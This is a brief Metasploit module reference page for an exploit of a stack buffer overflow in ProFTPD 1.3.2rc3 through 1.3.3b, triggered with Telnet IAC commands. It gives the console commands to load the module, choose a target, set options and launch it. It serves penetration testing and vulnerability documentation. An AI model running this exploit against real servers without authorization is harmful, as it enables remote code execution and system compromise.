This module exploits a stack-based buffer overflow in versions of ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a large number of Telnet IAC commands, an attacker can corrupt memory and execute arbitrary code.
BSD
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/freebsd/ftp/proftp_telnet_iac
msf exploit(proftp_telnet_iac) > show targets
...targets...
msf exploit(proftp_telnet_iac) > set TARGET < target-id >
msf exploit(proftp_telnet_iac) > show options
...show and set options...
msf exploit(proftp_telnet_iac) > exploit
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